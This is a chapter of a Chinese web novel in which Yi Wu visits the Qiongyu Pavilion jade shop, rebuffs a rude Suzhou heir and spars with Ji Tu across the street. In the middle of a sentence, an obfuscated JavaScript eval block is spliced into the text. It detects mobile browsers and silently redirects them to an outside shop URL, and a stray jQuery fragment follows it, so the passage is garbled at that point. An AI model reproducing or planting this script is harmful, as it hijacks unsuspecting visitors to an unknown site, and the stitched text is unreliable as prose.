据理力争之下,易伍终于还是将浩浩荡荡的出行队伍,精简到了三个人。
一个是祁安指定的贴身婢女竹青,一个美其名曰赶车的家丁时叁,还有一个熟知钱塘风土的带路人,这个位置,易伍选的是最开始接触的乐思。
送易伍出门的时候,祁安满脸的担忧不似作假,送了一段又一段。
易伍怀疑,若不是祁安身后有小厮拉着,他能跟着到目的地去。
一行四人驾着马车出了门,在乐思的建议下,易伍第一次逛街的目的地定在吴山坊。
吴山坊是钱塘衙门口延申出的那条街,称得上钱塘郡首屈一指的CBD,有什么时兴的玩意儿,吴山坊这些掌柜们比世家大族知道的更早。
祁安在吴山坊不但有丰乐楼这家主打高端的酒楼,还有一间位置绝佳的绸缎庄,以及一间偏僻但走平价路线的药玉铺子。
作为吴山坊中,除了茶铺外最便宜的铺子,专卖药玉的琼玉阁可谓是摩肩接踵。
易伍下车的时候,被里面人头攒动的情况吓了一大跳,差点就转身回了车上。
但即使是这样,被留在马车上的乐思,也被她一个眼神吓得不敢露头出来。
无论是丰乐楼还是面前的琼玉阁,就没有不认识乐思的,他真要出来了,易伍这趟大概就白来了。
好在琼玉阁的小厮眼明心亮,见到易伍的装束不似常人,虽看着眼生,依旧满脸堆笑的上前引路。
小厮带着易伍并没有走正门,而是从左侧小门进去后,立马就让易伍小心台阶。
上二楼的楼梯并不宽敞,易伍这边要往上走,晚一步要下去的客人就只能等在楼梯口。
对这种擦肩而过的陌生人,易伍只打算点头以示友好。
可惜等在二楼楼梯口的人并不领情,不让开路就算了,还特特往易伍的方向跨了一步,将易伍的前路挡的死死的。
“见着姑娘面熟,不知我们可曾见过?”
易伍一边提醒自己贤良淑德的名声能少惹很多麻烦,一边目光阴冷的看向那人。
那人原本脸上都是笑意,见了易伍那摄人的眼光,没忍住瑟缩一下,反应过来后,赶忙安慰自己,对面不过是个小丫头,又装腔作势的挺了挺胸膛。
小姑娘而已,有什么可怕……
易伍见这人丝毫没有让路的意思,刚要发作,她身后的竹青却先她一步动了。
只见竹青那个瘦弱到看不到什么肉的身板,硬生生挡在了易伍和那人之间。
“还望公子行个方便。”
竹青嘴里柔柔弱弱的,手上却是硬生生的将她口中的公子扯到了一边。
看着竹青用力时隆起的肱二头肌,那人脸色黑了又白,就连之前嚣张的表情都收敛了不少。
易伍也没忍住抖了抖,这算得上深藏不露了吧。
还好,广大的见识让易伍维持住了表面的平静,从那人身旁路过时,易伍甚至没多给他一个眼神。
还没等易伍进了包厢,拦路的人终于反应了过来,开始对着慢了不止一步的竹青发难。
“你你你,你哪家的!可知道小爷我是谁么!”
还没等竹青回答,易伍就从鼻腔中挤出了一声嗤笑。
“这么想让人知道你是谁,不如把姓氏纹在面中算了。”
无论在哪个朝代,面上刺字都是犯人的专属印记,易伍这话自然算不上友善。
那人当即火大,眼睛在易伍那身绫罗上瞟了又瞟,最后还是认了怂,换了更为温和的态度,先通报了自己的名姓。
“在下苏州潘子衍,不知小姐名讳?”
潘子衍安慰自己,出门在外,自是要广结善缘,招惹是非还是留在苏州城吧。
易伍虽然刺了潘子衍一句,脚下却一刻没停,此时早踏进了包房,连听没听到潘子衍的自白都无法得知,更不必说给出回应了。
倒是竹青,听到潘子衍这话,眼睛立马翻到天上去了,边走边嘟囔,就像在避什么脏东西。
“苏州城潘家?竟当街问一位闺阁小姐名讳,可见是不知礼的小门小户,小姐,小姐等等我。”
从听到潘子衍的话开始,竹青就不再看拦路的潘子衍主仆,径直朝着包厢追去。
跟在鱼小姐身边,可是她争取了好久才拿到的资格,可得看紧了。
接连在易伍主仆二人这里吃了亏,潘子衍开始怀疑自己。
检查了一遍今日的衣着配饰,没看出不妥来,只好问自己的小厮。
“爷今日可是穿错了衣裳?”
竟一连遇上两个不识货的,是他潘家的锦缎太低调了么?
他可是看到那位小姐身上的蜀锦,就立马收了调弄的心思的!
潘子衍的小厮是自小跟着他的,知道主子吃了瘪正是心气儿不顺的时候,自然不敢明目张胆的添把柴,只是小声嘟囔。
“大概是出门前没看黄历?”
包厢里,易伍刚坐定,引路的小厮就开始张罗着奉茶,脸上的笑容灿烂到易伍都替他难受。
小厮当然不会说,易伍让潘子衍吃了瘪还自己咽了下去,省了他们不知道多少来回周旋的气力,这才侍奉的尽心竭力。
易伍倒是对小厮的态度很满意,慢悠悠喝了茶后,这才提出了自己的要求。
“你们家的药玉,可都是自家产的?都有些什么?”
说到自己的专业领域,小厮立马活泛起来,脸上的笑都真切了两分。
“瞧您这话问的,咱这琼玉阁开了十多年了,一直都只卖咱自家产的东西。”
易伍立刻来了兴趣,当即打断小厮施法,又追加了个问题。
“哦?据我所知,钱塘郡最好的药玉作坊,可是姓季的,你家就姓季么?”
小厮那一脸笑立刻收敛,还没长开的脸上甚至带了些严肃。
“姑娘说笑了,瞧着您脸生,怕不是钱塘本地人吧,咱钱塘谁不知道,最好的药玉作坊就在城东,东家自姓林,咱琼玉阁也是林家的产业。”
这回答着实出乎意料,易伍料到了小厮会反驳,但没想到他会说琼玉阁是林家的产业。
林家?林音可是走了有不少时日了,就连祁安如今住的地方,挂的牌匾都是祁宅。
“林家?钱塘郡竟还有个会烧药玉的林家么?”
听到这个问题,小厮当即打开话匣子,从城东巴掌大的林宅,到药玉作坊的一步步建立,一路讲到了琼玉阁的来时路,直到琼玉阁的创建理念才停下来,就好像他见证了琼玉阁兴起的全流程似的。
“要我说,咱琼玉阁送不上贡品的船,全因为咱不稀罕罢了,东家可说了,琼玉阁原本
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726294|208858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就是为了让所有人都用得上药玉才开的。”
一口气说完这些,小厮的脊背都挺直了两分,满脸的余有荣焉。
易伍的眼睛又亮了亮,似是玩笑似的,第一次提出了自己的看货需求。
“既是所有人都用得上的药玉作坊,不如小哥你帮我选一选,价格从低到高,各取一样我看看,若是你说的属实,就算是千两的器物,我也是用得起的。”
说完,易伍状若无意的摩梭了下腕上的镯子。
出门前,易伍就打听清楚了,她这身行头,最贵的就是这只镯子了,就连遍布暗纹低调奢华的褙子,遇到了这只镯子,都要退一射之地的。
小厮眼睛立马亮了,夸赞的话不要钱一样砸向易伍,直到发现易伍脸上的不耐,这才悻悻的退去。
怎么这主顾,连好听的话都听不了五句,真是古怪。
嗯,提的需求也古怪,连药玉的器型都不打算挑似的。
琼玉阁的小厮离开后,竹青也被易伍指使着去了对面的磬音坊。
季徒敢夸口自家的药玉作坊,易伍就得帮他把把关,看他这个林音唯一衣钵传人的名头,是否还是闪亮亮的。
包厢里只剩易伍,无聊之际,易伍凑到了窗户旁,看着街对面的包厢笑。
或许是巧合,对面磬音坊的包厢里,季徒也在朝这边张望,脸上的笑意都要越过街道,溢到琼玉阁来了。
易伍心情还算不错,眼睛转了转,干脆隔着街道来往的人群喊话。
“季徒叔,你那里可有什么拿得出手的器物么,不如送来琼玉阁,也好让我饱饱眼福?”
又是叔!季徒脸上的笑容当即凝固住。
祁安才是老东西!他生生比祁安小了三岁呢!
怎么祁安是姐夫,到他这里就成了叔父!
面色变了又变,季徒终究还是压住了这莫名的火气。
做大事者不拘小节,一个称呼而已,他还能当着小辈儿的面,发作两次么!
绝对不能够!
“那可要管好你琼玉阁的小厮们,别说我们磬音坊上门砸场子呀。”
两个人就这么隔着街上来往的人流,你一句我一句的呛了不短的时间,直到琼玉阁的小厮再次推开包厢的门,易伍这才关了窗户,笑吟吟的重新坐好。
“呦,姑娘,可是遇到了熟人?也是我不好,竟留您一人在包厢里等着。”
小厮上来就和易伍开了个玩笑,又轻轻摸了自己脸一下,以示惩治过了自己。
易伍当然不可能和小厮聊磬音坊的季徒,只笑笑就开始指挥小厮们讲带来的物件挨着窗户摆成一排。
小厮心中有数,包厢里这位隔着街和磬音坊的东家喊话,这事谁也瞒不过去,他之所以这么快回到包厢,也是怕这大客户真被勾到磬音坊去了。
果然,小厮带着一群人正小心翼翼的放下手上的药玉物件呢,包厢的门再次打开了。
开门的不是去磬音坊采买小物件的竹青,而是留在马车里的乐思。
“易姑娘,磬音坊的东家带着不少东西要进来,可允吗?”
易伍脸上的笑容更盛了两分,亲自走到门前,拉开包厢门,露了个灿烂的笑容出去。
“季叔父怎么亲自来了?”
美人儿嗔怒,真是百看不厌呀。